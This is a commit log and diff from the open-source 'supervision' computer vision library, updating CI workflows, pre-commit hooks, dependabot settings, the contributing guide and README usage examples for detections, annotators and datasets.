pre-commit-ci[bot] 7d3082c93b fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-24 13:01:25 +00:00
SkalskiP 4cb7400c75 Merge remote-tracking branch 'origin/asset-addon' into asset-addon 2023-10-24 15:01:12 +02:00
SkalskiP 3f5f5fb070 Rename asset_list.py and update VideoAssets enumeration
The file asset_list.py has been renamed to list.py for better readability and simplicity. In the VideoAssets enumeration, additional information has been included. This includes specific details for each member of the enum, notably the filename of the related video and its URL.
2023-10-24 15:01:03 +02:00
pre-commit-ci[bot] 8689c294bf fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-24 12:34:28 +00:00
SkalskiP 3391eec078 Refactor and improve readability of downloader.py
The code for the downloader function in the supervision/assets/downloader.py file has been refactored and optimized. Package imports were cleaned up to remove unnecessary functions and the "path_exists" and "os_remove" functions were replaced with their pathlib equivalents to improve consistency.
2023-10-24 14:31:31 +02:00
SkalskiP 6887b0b412 "Correct md5 hash reference in downloader script
Updated the reference for the md5 hash in downloader.py.
2023-10-24 14:25:11 +02:00
SkalskiP a36abd4297 "Fix reference bug in video asset downloader
Updated 'asset_name' to 'filename' in downloader.py. The downloader was using the incorrect variable 'asset_name', causing failed video asset downloads. Correcting to 'filename' allows for accurate md5 check and download."
2023-10-24 14:21:58 +02:00
SkalskiP 7715ef2a17 The downloader was incorrectly using 'asset_name' instead of 'filename' leading to missed video asset downloads. The reference has been corrected to use 'filename' for proper checking and downloading. 2023-10-24 14:16:46 +02:00
SkalskiP 9b3dc37e28 Merge remote-tracking branch 'origin/asset-addon' into asset-addon 2023-10-24 14:14:26 +02:00
SkalskiP 24aefe6bcd Fix asset name checking in downloader module 2023-10-24 14:12:45 +02:00
pre-commit-ci[bot] 52452c019c fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-24 12:04:33 +00:00
SkalskiP dca6d1248f Merge remote-tracking branch 'origin/asset-addon' into asset-addon 2023-10-24 14:04:11 +02:00
SkalskiP 03fd015f39 Improve readability and maintainability in downloader.py 2023-10-24 14:04:00 +02:00
pre-commit-ci[bot] 7faddb52ca fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-24 11:23:24 +00:00
SkalskiP f987e4f786 Refactor video assets enum and variable names
Renamed enum and variables to improve clarity for VideoAssets in asset_list.py. For instance, MILK_1 is updated to MILK_BOTTLED_PLANT and PEOPLE_WALKING_BW to PEOPLE_WALKING. Also, the VIDEO_ASSETS dictionary type hint updated to Dict. Additionally, a new method 'list' added to class VideoAssets that returns a list of all enum values.
2023-10-24 13:23:05 +02:00
Onuralp SEZER a00a752d44 Merge pull request #522 from roboflow/pre-commit-ci-update-config
chore(pre_commit): ⬆ pre_commit autoupdate
2023-10-23 20:55:12 +03:00
pre-commit-ci[bot] 8bf721559f chore(pre_commit): ⬆ pre_commit autoupdate
updates:
- [github.com/psf/black: 23.9.1 → 23.10.0](https://github.com/psf/black/compare/23.9.1...23.10.0)
- [github.com/astral-sh/ruff-pre-commit: v0.0.292 → v0.1.1](https://github.com/astral-sh/ruff-pre-commit/compare/v0.0.292...v0.1.1)
2023-10-23 17:44:59 +00:00
abhishek7kalra 9f901bb61e Fixed position argument logic in TraceAnnotator 2023-10-21 18:16:58 +05:30
Abhishek Kalra ece7164ce6 Merge branch 'roboflow:develop' into develop 2023-10-21 16:34:04 +05:30
Piotr Skalski de45e9d67f Merge pull request #510 from roboflow/509-mask-annotator-from-sam-error
fix(notebook): 🐛📘 sam detection ColorLookup param and enum added and sv version updated
2023-10-21 12:28:12 +02:00
Onuralp SEZER b815c0e7fc fix(notebook): 🐛📘 sam detection ColorLookup param and enum added and sv version updated
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-10-21 10:36:30 +03:00
Piotr Skalski c158f96b75 Merge pull request #502 from roboflow/main
Merge pull request #493 from roboflow/develop
2023-10-19 12:39:55 +02:00
Abhishek Kalra e927a3c0a5 Merge pull request #2 from abhishek7kalra/linezonetrigger
change return type from list to nparray
2023-10-15 19:07:54 +05:30
Abhishek Kalra b1f85969a5 Merge pull request #1 from abhishek7kalra/linezonetrigger
Linezonetrigger
2023-10-15 18:12:42 +05:30
Onuralp SEZER f3b92163ad ci(dependabot): ⬆️ create dependabot.yml config for update github actions and python packages automatically 2023-10-14 18:08:46 +03:00
Rajarshi Misra e71232f6ff Merge branch 'roboflow:develop' into develop 2023-10-14 13:55:55 +05:30
pre-commit-ci[bot] 9e5d30732d fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-13 22:52:48 +00:00
capjamesg 9c2aaa0d2e add classification annotator and from_clip loader 2023-10-13 23:50:18 +01:00
Onuralp SEZER 2ab5941cbc feat(assets): ✨ assets and assets downloader add-on for supervision[assets]
Signed-off-by: Onuralp SEZER <thunderbirdtr@gmail.com>
2023-10-14 01:39:25 +03:00
Rajarshi Misra 3dbbcf79ae Final 2023-10-13 22:55:41 +05:30
pre-commit-ci[bot] 47dcb19829 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-13 17:24:29 +00:00
Rajarshi Misra 9c96180a74 Update track_objects.md 2023-10-13 22:53:58 +05:30
Rajarshi Misra cd76b79ec5 Update track_objects.md 2023-10-13 18:51:53 +05:30
pre-commit-ci[bot] 377b3fdda7 fix(pre_commit): 🎨 auto format pre-commit hooks 2023-10-13 13:17:02 +00:00
Rajarshi Misra 9572469f5f Final changes left 2023-10-13 18:46:49 +05:30
Rajarshi Misra da7c056812 Merge branch 'roboflow:develop' into develop 2023-10-13 15:29:28 +05:30
Rajarshi Misra b1f207f2ee Update track_objects.md
Added all the subtopics and 'what is tracking'
2023-10-12 22:47:16 +05:30
Rajarshi Misra f82f297f2e Update track_objects.md
Typo
2023-10-12 19:58:55 +05:30
Rajarshi Misra 9a2a87a170 Just writing the title 2023-10-12 19:58:11 +05:30
144 changed files with 14394 additions and 4426 deletions
+16
View File
@@ -0,0 +1,16 @@
version: 2
updates:
# GitHub Actions
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "daily"
commit-message:
prefix: ⬆️
# Python
- package-ecosystem: "pip"
directory: "/"
schedule:
interval: "daily"
commit-message:
prefix: ⬆️
-17
View File
@@ -1,17 +0,0 @@
contourpy==1.1.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
cycler==0.11.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
fonttools==4.41.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
importlib-resources==6.0.0 ; python_version >= "3.8" and python_version < "3.10"
kiwisolver==1.4.4 ; python_version >= "3.8" and python_full_version < "3.12.0"
matplotlib==3.7.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
numpy==1.24.4 ; python_version >= "3.8" and python_version < "3.12"
opencv-python-headless==4.8.0.74 ; python_version >= "3.8" and python_full_version < "3.12.0"
packaging==23.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
pillow==10.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
pyparsing==3.0.9 ; python_version >= "3.8" and python_full_version < "3.12.0"
python-dateutil==2.8.2 ; python_version >= "3.8" and python_full_version < "3.12.0"
pyyaml==6.0.1 ; python_version >= "3.8" and python_full_version < "3.12.0"
scipy==1.10.1 ; python_version >= "3.8" and python_version < "3.12"
six==1.16.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
zipp==3.16.2 ; python_version >= "3.8" and python_version < "3.10"
pytest==7.4.0 ; python_version >= "3.8" and python_full_version < "3.12.0"
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Clear cache
uses: actions/github-script@v6
uses: actions/github-script@v7
with:
script: |
console.log("About to clear")
+37 -9
View File
@@ -1,19 +1,47 @@
name: Docs WorkFlow
name: Docs WorkFlow - Develop Tag 📚
on:
push:
branches:
- master
- main
- develop
permissions:
contents: write
pages: write
pull-requests: write
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: actions/setup-python@v4
- name: 🔄 Checkout code
uses: actions/checkout@v4
with:
python-version: 3.x
- run: pip install mkdocs-material
- run: pip install "mkdocstrings[python]"
- run: mkdocs gh-deploy --force
fetch-depth: 0
- name: 🐍 Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.10'
- name: 📦 Install mkdocs-material
run: pip install "mkdocs-material[all]"
- name: 📦 Install mkdocstrings[python]
run: pip install "mkdocstrings[python]"
- name: 📦 Install mkdocs-material[imaging]
run: pip install "mkdocs-material[imaging]"
- name: 📦 Install mike
run: pip install "mike"
- name: 📦 Install mkdocs-git-revision-date-localized-plugin
run: pip install "mkdocs-git-revision-date-localized-plugin"
- name: 📦 Install JupyterLab
run: pip install jupyterlab
- name: 📦 Install mkdocs-jupyter
run: pip install mkdocs-jupyter
- name: 📦 Install mkdocs-git-committers-plugin-2
run: pip install mkdocs-git-committers-plugin-2
- name: ⚙️ Configure git for github-actions
run: |
git config --global user.name "github-actions[bot]"
git config --global user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: 🚀 Deploy MkDoc-Material with mike
run: |
MKDOCS_GIT_COMMITTERS_APIKEY=${{ secrets.GITHUB_TOKEN }} mike deploy --push develop
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
- name: Checkout source
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: 🐍 Set up Python 3.8 environment for build
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: "3.8"
+2 -2
View File
@@ -17,11 +17,11 @@ jobs:
python-version: [3.8]
steps:
- name: 🛎️ Checkout
uses: actions/checkout@v3
uses: actions/checkout@v4
with:
ref: ${{ github.head_ref }}
- name: 🐍 Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v4
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
+57
View File
@@ -0,0 +1,57 @@
name: Python 3.8 - Min Dep Test WorkFlow
on:
pull_request:
branches: [main, develop]
jobs:
build-min-dep-test:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ["3.8"]
steps:
- name: 🛎️ Checkout
uses: actions/checkout@v4
- name: 🐍 Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
# id based on python version
id: python-setup
with:
python-version: ${{ matrix.python-version }}
check-latest: true
- name: 📦 Install dependencies
run: |
python -m pip install --upgrade pip
pip install \
attrs==23.1.0 \
certifi==2023.7.22 \
charset-normalizer==2.0.12 \
cycler==0.12.1 \
exceptiongroup==1.1.3 \
fonttools==4.43.1 \
idna==3.4 \
iniconfig==2.0.0 \
kiwisolver==1.4.5 \
matplotlib==3.5.0 \
numpy==1.21.2 \
opencv-python==4.5.5.64 \
packaging==23.2 \
pluggy==1.3.0 \
pyparsing==3.1.1 \
pytest==7.2.0 \
python-dateutil==2.8.2 \
PyYAML==5.3 \
requests==2.26.0 \
scipy==1.10.0 \
setuptools-scm==8.0.4 \
six==1.16.0 \
tomli==2.0.1 \
tqdm==4.62.3 \
typing_extensions==4.8.0 \
urllib3==1.26.18 \
defusedxml==0.7.1
- name: 🧪 Test
run: "python -m pytest ./test"
+6 -9
View File
@@ -5,28 +5,25 @@ on:
branches: [main, develop]
jobs:
build:
build-dev-test:
runs-on: ubuntu-latest
strategy:
matrix:
python-version: ["3.8", "3.9", "3.10","3.11"]
python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"]
steps:
- name: 🛎️ Checkout
uses: actions/checkout@v3
uses: actions/checkout@v4
- name: 🐍 Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v4
# id based on python version
id: python-setup
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
check-latest: true
cache: 'pip'
cache-dependency-path: '**/requirements-dev.txt'
- name: 📦 Install dependencies
run: |
python -m pip install --upgrade pip
pip install -r .github/requirements-dev.txt
pip install .
pip install pytest
- name: 🧪 Test
run: "python -m pytest ./test"
+1 -1
View File
@@ -11,7 +11,7 @@ jobs:
name: 👋 Welcome
runs-on: ubuntu-latest
steps:
- uses: actions/first-interaction@v1.1.1
- uses: actions/first-interaction@v1.3.0
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
issue-message: "Hello there, thank you for opening an Issue ! 🙏🏻 The team was notified and they will get back to you asap."
+20 -2
View File
@@ -133,5 +133,23 @@ dmypy.json
# Pyre type checker
.pyre/
# Notebooks
notebooks/
# OSX folder attributes
.DS_Store
.AppleDouble
.LSOverride
# Thumbnails
._*
# Files that might appear on external disk
.Spotlight-V100
.Trashes
# Windows
Thumbs.db
Desktop.ini
# Linux
*~
.directory
.Trash-*
+7 -28
View File
@@ -11,14 +11,14 @@ repos:
hooks:
- id: end-of-file-fixer
- id: trailing-whitespace
exclude: test/.*\.py
- id: check-yaml
exclude: mkdocs.yml
- id: check-docstring-first
- id: check-executables-have-shebangs
- id: check-toml
- id: check-case-conflict
- id: check-added-large-files
args: ['--maxkb=2048']
exclude: ^logo/
- id: detect-private-key
- id: forbid-new-submodules
- id: pretty-format-json
@@ -27,50 +27,29 @@ repos:
- id: end-of-file-fixer
- id: mixed-line-ending
# - repo: https://github.com/asottile/pyupgrade
# rev: v3.9.0
# hooks:
# - id: pyupgrade
# name: Upgrade code
# args: [--py38-plus]
- repo: https://github.com/PyCQA/flake8
rev: 6.1.0
hooks:
- id: flake8
name: Flake8 Checks
entry: flake8
additional_dependencies: [Flake8-pyproject]
- repo: https://github.com/PyCQA/bandit
rev: '1.7.5'
rev: '1.7.7'
hooks:
- id: bandit
args: ["-c", "pyproject.toml"]
additional_dependencies: ["bandit[toml]"]
- repo: https://github.com/pycqa/isort
rev: 5.12.0
rev: 5.13.2
hooks:
- id: isort
name: isort (python)
- id: isort
name: isort (cython)
types: [cython]
- id: isort
name: isort (pyi)
types: [pyi]
- repo: https://github.com/psf/black
rev: 23.9.1
hooks:
- id: black
- repo: https://github.com/astral-sh/ruff-pre-commit
rev: v0.0.292
rev: v0.2.0
hooks:
- id: ruff
args: [--fix, --exit-non-zero-on-fix]
- id: ruff-format
types_or: [ python, pyi, jupyter ]
+1 -1
View File
@@ -15,7 +15,7 @@ url: 'https://roboflow.github.io/supervision/'
abstract: >-
supervision features a range of utilities for use in
computer vision projects, from detections processing and
filtering to confusion matrix calcuation.
filtering to confusion matrix calculation.
keywords:
- computer vision
- image processing
+2 -3
View File
@@ -52,7 +52,7 @@ git push -u origin main
### Pre-commit tool
This project utilizes the [pre-commit](https://pre-commit.com/) tool to maintain code quality and consistency. Before submitting a pull request or making any commits, it is important to run the pre-commit tool to ensure that your changes meet the project's guidelines.
This project uses the [pre-commit](https://pre-commit.com/) tool to maintain code quality and consistency. Before submitting a pull request or making any commits, it is important to run the pre-commit tool to ensure that your changes meet the project's guidelines.
Furthermore, we have integrated a pre-commit GitHub Action into our workflow. This means that with every pull request opened, the pre-commit checks will be automatically enforced, streamlining the code review process and ensuring that all contributions adhere to our quality standards.
@@ -76,7 +76,6 @@ All new functions and classes in `supervision` should include docstrings. This i
So far, **there is no type checking with mypy**. See [issue](https://github.com/roboflow-ai/template-python/issues/4).
Then, go back to your fork of the `supervision` repository, click "Pull Requests", and click "New Pull Request".
![Opening a pull request](https://media.roboflow.com/open_pr.png)
@@ -109,7 +108,7 @@ PRs must pass all tests and linting requirements before they can be merged.
The `supervision` documentation is stored in a folder called `docs`. The project documentation is built using `mkdocs`.
To run the documentation, install the project requirements with `poetry install dev`. Then, run `mkdocs serve` to start the documentation server.
To run the documentation, install the project requirements with `poetry install --with dev`. Then, run `mkdocs serve` to start the documentation server.
You can learn more about mkdocs on the [mkdocs website](https://www.mkdocs.org/).
+149 -211
View File
@@ -10,290 +10,226 @@
<br>
[notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)
[notebooks](https://github.com/roboflow/notebooks) | [inference](https://github.com/roboflow/inference) | [autodistill](https://github.com/autodistill/autodistill) | [collect](https://github.com/roboflow/roboflow-collect)
<br>
[![version](https://badge.fury.io/py/supervision.svg)](https://badge.fury.io/py/supervision)
[![downloads](https://img.shields.io/pypi/dm/supervision)](https://pypistats.org/packages/supervision)
[![license](https://img.shields.io/pypi/l/supervision)](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
[![python-version](https://img.shields.io/pypi/pyversions/supervision)](https://badge.fury.io/py/supervision)
[![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
[![Gradio](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/Roboflow/Annotators)
[![Discord](https://img.shields.io/discord/1159501506232451173)](https://discord.gg/GbfgXGJ8Bk)
[![version](https://badge.fury.io/py/supervision.svg)](https://badge.fury.io/py/supervision)
[![downloads](https://img.shields.io/pypi/dm/supervision)](https://pypistats.org/packages/supervision)
[![license](https://img.shields.io/pypi/l/supervision)](https://github.com/roboflow/supervision/blob/main/LICENSE.md)
[![python-version](https://img.shields.io/pypi/pyversions/supervision)](https://badge.fury.io/py/supervision)
[![Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/roboflow/supervision/blob/main/demo.ipynb)
[![Gradio](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/Roboflow/Annotators)
[![Discord](https://img.shields.io/discord/1159501506232451173)](https://discord.gg/GbfgXGJ8Bk)
[![Built with Material for MkDocs](https://img.shields.io/badge/Material_for_MkDocs-526CFE?logo=MaterialForMkDocs&logoColor=white)](https://squidfunk.github.io/mkdocs-material/)
</div>
<a href="https://github.com/roboflow/supervision/issues?q=is%3Aissue+label%3Ahacktoberfest+">
<img width="100%" src="https://media.roboflow.com/open-source/supervision/hacktoberfest-banner-3.png">
</a>
## 👋 hello
**We write your reusable computer vision tools.** Whether you need to load your dataset from your hard drive, draw detections on an image or video, or count how many detections are in a zone. You can count on us! 🤝
[![supervision-hackfest](https://github.com/roboflow/supervision/assets/26109316/c05cc954-b9a6-4ed5-9a52-d0b4b619ff65)](https://github.com/orgs/roboflow/projects/10)
## 💻 install
Pip install the supervision package in a
[**3.11>=Python>=3.8**](https://www.python.org/) environment.
[**Python>=3.8**](https://www.python.org/) environment.
```bash
pip install supervision[desktop]
pip install supervision
```
Read more about desktop, headless, and local installation in our [guide](https://roboflow.github.io/supervision/).
## 🔥 quickstart
### [detections processing](https://roboflow.github.io/supervision/detection/core/)
### models
Supervision was designed to be model agnostic. Just plug in any classification, detection, or segmentation model. For your convenience, we have created [connectors](https://supervision.roboflow.com/latest/detection/core/#detections) for the most popular libraries like Ultralytics, Transformers, or MMDetection.
```python
>>> import supervision as sv
>>> from ultralytics import YOLO
import cv2
import supervision as sv
from ultralytics import YOLO
>>> model = YOLO('yolov8s.pt')
>>> result = model(IMAGE)[0]
>>> detections = sv.Detections.from_ultralytics(result)
image = cv2.imread(...)
model = YOLO('yolov8s.pt')
result = model(image)[0]
detections = sv.Detections.from_ultralytics(result)
>>> len(detections)
5
len(detections)
# 5
```
<details close>
<summary>👉 more detections utils</summary>
<details>
<summary>👉 more model connectors</summary>
- Easily switch inference pipeline between supported object detection/instance segmentation models
- inference
Running with [Inference](https://github.com/roboflow/inference) requires a [Roboflow API KEY](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key).
```python
>>> import supervision as sv
>>> from segment_anything import sam_model_registry, SamAutomaticMaskGenerator
import cv2
import supervision as sv
from inference.models.utils import get_roboflow_model
>>> sam = sam_model_registry[MODEL_TYPE](checkpoint=CHECKPOINT_PATH).to(device=DEVICE)
>>> mask_generator = SamAutomaticMaskGenerator(sam)
>>> sam_result = mask_generator.generate(IMAGE)
>>> detections = sv.Detections.from_sam(sam_result=sam_result)
```
image = cv2.imread(...)
model = get_roboflow_model(model_id="yolov8s-640", api_key=<ROBOFLOW API KEY>)
result = model.infer(image)[0]
detections = sv.Detections.from_inference(result)
- [Advanced filtering](https://roboflow.github.io/supervision/quickstart/detections/)
len(detections)
# 5
```python
>>> detections = detections[detections.class_id == 0]
>>> detections = detections[detections.confidence > 0.5]
>>> detections = detections[detections.area > 1000]
```
- Image annotation
```python
>>> import supervision as sv
>>> box_annotator = sv.BoxAnnotator()
>>> annotated_frame = box_annotator.annotate(
... scene=IMAGE,
... detections=detections
... )
```
</details>
### [datasets processing](https://roboflow.github.io/supervision/dataset/core/)
### annotators
Supervision offers a wide range of highly customizable [annotators](https://supervision.roboflow.com/latest/annotators/), allowing you to compose the perfect visualization for your use case.
```python
>>> import supervision as sv
import cv2
import supervision as sv
>>> dataset = sv.DetectionDataset.from_yolo(
... images_directory_path='...',
... annotations_directory_path='...',
... data_yaml_path='...'
... )
image = cv2.imread(...)
detections = sv.Detections(...)
>>> dataset.classes
bounding_box_annotator = sv.BoundingBoxAnnotator()
annotated_frame = bounding_box_annotator.annotate(
scene=image.copy(),
detections=detections
)
```
https://github.com/roboflow/supervision/assets/26109316/691e219c-0565-4403-9218-ab5644f39bce
### datasets
Supervision provides a set of [utils](https://supervision.roboflow.com/latest/datasets/) that allow you to load, split, merge, and save datasets in one of the supported formats.
```python
import supervision as sv
dataset = sv.DetectionDataset.from_yolo(
images_directory_path=...,
annotations_directory_path=...,
data_yaml_path=...
)
dataset.classes
['dog', 'person']
>>> len(dataset)
1000
len(dataset)
# 1000
```
<details close>
<summary>👉 more dataset utils</summary>
- Load object detection/instance segmentation datasets in one of the supported formats
- load
```python
>>> dataset = sv.DetectionDataset.from_yolo(
... images_directory_path='...',
... annotations_directory_path='...',
... data_yaml_path='...'
... )
```python
dataset = sv.DetectionDataset.from_yolo(
images_directory_path=...,
annotations_directory_path=...,
data_yaml_path=...
)
>>> dataset = sv.DetectionDataset.from_pascal_voc(
... images_directory_path='...',
... annotations_directory_path='...'
... )
dataset = sv.DetectionDataset.from_pascal_voc(
images_directory_path=...,
annotations_directory_path=...
)
>>> dataset = sv.DetectionDataset.from_coco(
... images_directory_path='...',
... annotations_path='...'
... )
```
dataset = sv.DetectionDataset.from_coco(
images_directory_path=...,
annotations_path=...
)
```
- Loop over dataset entries
- split
```python
>>> for name, image, labels in dataset:
... print(labels.xyxy)
```python
train_dataset, test_dataset = dataset.split(split_ratio=0.7)
test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)
array([[404. , 719. , 538. , 884.5 ],
[155. , 497. , 404. , 833.5 ],
[ 20.154999, 347.825 , 416.125 , 915.895 ]], dtype=float32)
```
len(train_dataset), len(test_dataset), len(valid_dataset)
# (700, 150, 150)
```
- Split dataset for training, testing, and validation
- merge
```python
>>> train_dataset, test_dataset = dataset.split(split_ratio=0.7)
>>> test_dataset, valid_dataset = test_dataset.split(split_ratio=0.5)
```python
ds_1 = sv.DetectionDataset(...)
len(ds_1)
# 100
ds_1.classes
# ['dog', 'person']
>>> len(train_dataset), len(test_dataset), len(valid_dataset)
(700, 150, 150)
```
ds_2 = sv.DetectionDataset(...)
len(ds_2)
# 200
ds_2.classes
# ['cat']
- Merge multiple datasets
ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
len(ds_merged)
# 300
ds_merged.classes
# ['cat', 'dog', 'person']
```
```python
>>> ds_1 = sv.DetectionDataset(...)
>>> len(ds_1)
100
>>> ds_1.classes
['dog', 'person']
- save
>>> ds_2 = sv.DetectionDataset(...)
>>> len(ds_2)
200
>>> ds_2.classes
['cat']
```python
dataset.as_yolo(
images_directory_path=...,
annotations_directory_path=...,
data_yaml_path=...
)
>>> ds_merged = sv.DetectionDataset.merge([ds_1, ds_2])
>>> len(ds_merged)
300
>>> ds_merged.classes
['cat', 'dog', 'person']
```
dataset.as_pascal_voc(
images_directory_path=...,
annotations_directory_path=...
)
- Save object detection/instance segmentation datasets in one of the supported formats
dataset.as_coco(
images_directory_path=...,
annotations_path=...
)
```
```python
>>> dataset.as_yolo(
... images_directory_path='...',
... annotations_directory_path='...',
... data_yaml_path='...'
... )
- convert
>>> dataset.as_pascal_voc(
... images_directory_path='...',
... annotations_directory_path='...'
... )
>>> dataset.as_coco(
... images_directory_path='...',
... annotations_path='...'
... )
```
- Convert labels between supported formats
```python
>>> sv.DetectionDataset.from_yolo(
... images_directory_path='...',
... annotations_directory_path='...',
... data_yaml_path='...'
... ).as_pascal_voc(
... images_directory_path='...',
... annotations_directory_path='...'
... )
```
- Load classification datasets in one of the supported formats
```python
>>> cs = sv.ClassificationDataset.from_folder_structure(
... root_directory_path='...'
... )
```
- Save classification datasets in one of the supported formats
```python
>>> cs.as_folder_structure(
... root_directory_path='...'
... )
```
</details>
### [model evaluation](https://roboflow.github.io/supervision/metrics/detection/)
```python
>>> import supervision as sv
>>> dataset = sv.DetectionDataset.from_yolo(...)
>>> def callback(image: np.ndarray) -> sv.Detections:
... ...
>>> confusion_matrix = sv.ConfusionMatrix.benchmark(
... dataset = dataset,
... callback = callback
... )
>>> confusion_matrix.matrix
array([
[0., 0., 0., 0.],
[0., 1., 0., 1.],
[0., 1., 1., 0.],
[1., 1., 0., 0.]
])
```
<details close>
<summary>👉 more metrics</summary>
- Mean average precision (mAP) for object detection tasks.
```python
>>> import supervision as sv
>>> dataset = sv.DetectionDataset.from_yolo(...)
>>> def callback(image: np.ndarray) -> sv.Detections:
... ...
>>> mean_average_precision = sv.MeanAveragePrecision.benchmark(
... dataset = dataset,
... callback = callback
... )
>>> mean_average_precision.map50_95
0.433
```
```python
sv.DetectionDataset.from_yolo(
images_directory_path=...,
annotations_directory_path=...,
data_yaml_path=...
).as_pascal_voc(
images_directory_path=...,
annotations_directory_path=...
)
```
</details>
## 🎬 tutorials
<p align="left">
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>
<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/61a444c8-b135-48ce-b979-2a5ab47c5a91" alt="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source" width="300px" align="left" /></a>
<a href="https://youtu.be/uWP6UjDeZvY" title="Speed Estimation & Vehicle Tracking | Computer Vision | Open Source"><strong>Speed Estimation & Vehicle Tracking | Computer Vision | Open Source</strong></a>
<div><strong>Created: 11 Jan 2024</strong> | <strong>Updated: 11 Jan 2024</strong></div>
<br/> Learn how to track and estimate the speed of vehicles using YOLO, ByteTrack, and Roboflow Inference. This comprehensive tutorial covers object detection, multi-object tracking, filtering detections, perspective transformation, speed estimation, visualization improvements, and more.</p>
<br/>
<p align="left">
<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><img src="https://github.com/SkalskiP/SkalskiP/assets/26109316/6913ff11-53c6-4341-8d90-eaff3023c3fd" alt="SAM - Segment Anything Model by Meta AI: Complete Guide" width="300px" align="left" /></a>
<a href="https://youtu.be/D-D6ZmadzPE" title="SAM - Segment Anything Model by Meta AI: Complete Guide"><strong>SAM - Segment Anything Model by Meta AI: Complete Guide</strong></a>
<div><strong>Created: 11 Apr 2023</strong> | <strong>Updated: 11 Apr 2023</strong></div>
<br/> Discover the incredible potential of Meta AI's Segment Anything Model (SAM)! We dive into SAM, an efficient and promptable model for image segmentation, which has revolutionized computer vision tasks. With over 1 billion masks on 11M licensed and privacy-respecting images, SAM's zero-shot performance is often competitive with or even superior to prior fully supervised results... </p>
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><img src="https://github.com/roboflow/supervision/assets/26109316/54afdf1c-218c-4451-8f12-627fb85f1682" alt="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking" width="300px" align="left" /></a>
<a href="https://youtu.be/4Q3ut7vqD5o" title="Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking"><strong>Traffic Analysis with YOLOv8 and ByteTrack - Vehicle Detection and Tracking</strong></a>
<div><strong>Created: 6 Sep 2023</strong> | <strong>Updated: 6 Sep 2023</strong></div>
<br/> In this video, we explore real-time traffic analysis using YOLOv8 and ByteTrack to detect and track vehicles on aerial images. Harnessing the power of Python and Supervision, we delve deep into assigning cars to specific entry zones and understanding their direction of movement. By visualizing their paths, we gain insights into traffic flow across bustling roundabouts... </p>
## 💜 built with supervision
@@ -303,6 +239,8 @@ https://user-images.githubusercontent.com/26109316/207858600-ee862b22-0353-440b-
https://github.com/roboflow/supervision/assets/26109316/c9436828-9fbf-4c25-ae8c-60e9c81b3900
https://github.com/roboflow/supervision/assets/26109316/3ac6982f-4943-4108-9b7f-51787ef1a69f
## 📚 documentation
Visit our [documentation](https://roboflow.github.io/supervision) page to learn how supervision can help you build computer vision applications faster and more reliably.
+19
View File
@@ -0,0 +1,19 @@
# Supervision Cookbooks
## About
